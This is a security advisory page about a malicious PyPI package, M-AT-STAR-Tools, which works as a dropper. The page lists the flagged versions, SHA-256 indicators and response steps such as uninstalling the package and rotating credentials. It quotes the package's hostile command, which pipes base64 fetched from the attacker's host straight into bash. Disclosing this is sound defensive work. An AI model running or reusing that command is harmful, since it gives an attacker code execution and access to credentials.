NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

M-AT-STAR-ToolsPyPI

Advisory published Updated

M-AT-STAR-Tools is a confirmed malicious PyPI package (MAL-2026-4812) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.3, 1.0.4). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in m-at-star-tools (PyPI)

MAL-2026-4812
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
pip uninstall M-AT-STAR-Tools

What this malware does

The package's sole console_script m0scan (m0scan/main.py:6-7) executes curl -sL https://mspy.qzz.io/M0scan | base64 -d | bash, fetching an opaque base64-encoded shell payload from a dynamic-DNS-style host (mspy.qzz.io) unrelated to any publisher infrastructure and piping it directly to bash. The fetch is unpinned, unverified (no hash, no signature), obfuscated (base64), and points at a mutable URL — whoever controls mspy.qzz.io/M0scan controls arbitrary code execution on every user who runs the tool. Package metadata is throwaway: author M-AT-STAR, generic GitHub homepage, 5-byte README, no email or license. The package self-describes as an 'M0scan installation wrapper' — the wrapper IS the dropper. Any invocation of the documented CLI yields full attacker code execution on the installer's machine.

The package downloads remote encoded code, which then downloads the next encrypted stage. The encryption of final data requires knowing a code.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-05-m-at-star-tools

Reasons (based on the campaign):

  • Downloads and executes a remote malicious script.

  • obfuscation

Malicious versions

3 flagged
1.0.01.0.31.0.4

Indicators of compromise (SHA-256)

2934ab77e0615ccddf2cf336b023659bafca2fe94bbf2f78e4c0d2a2ba1d7bf2
1c1aca876bca2f4006ca7cad627f7eb20efcd63e7d9706852e1740d4c0d66dc1

Detection & response playbook

Credential / info stealer

  1. Find it

    Search your lockfiles and build artifacts for M-AT-STAR-Tools (3 malicious versions).

  2. If you installed it — respond

    M-AT-STAR-Tools is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If M-AT-STAR-Tools was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. M-AT-STAR-Tools on PyPI has been identified as a malicious package (versions 1.0.0, 1.0.3, 1.0.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-0048982026-05-m-at-star-tools

References

Credits

  • Amazon Inspector · finder
  • Kamil Mańkowski (kam193) · reporter

Detect & block this

O3 blocks M-AT-STAR-Tools-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database
M-AT-STAR-Tools (PyPI) malicious package — MAL-2026-4812 | O3 Security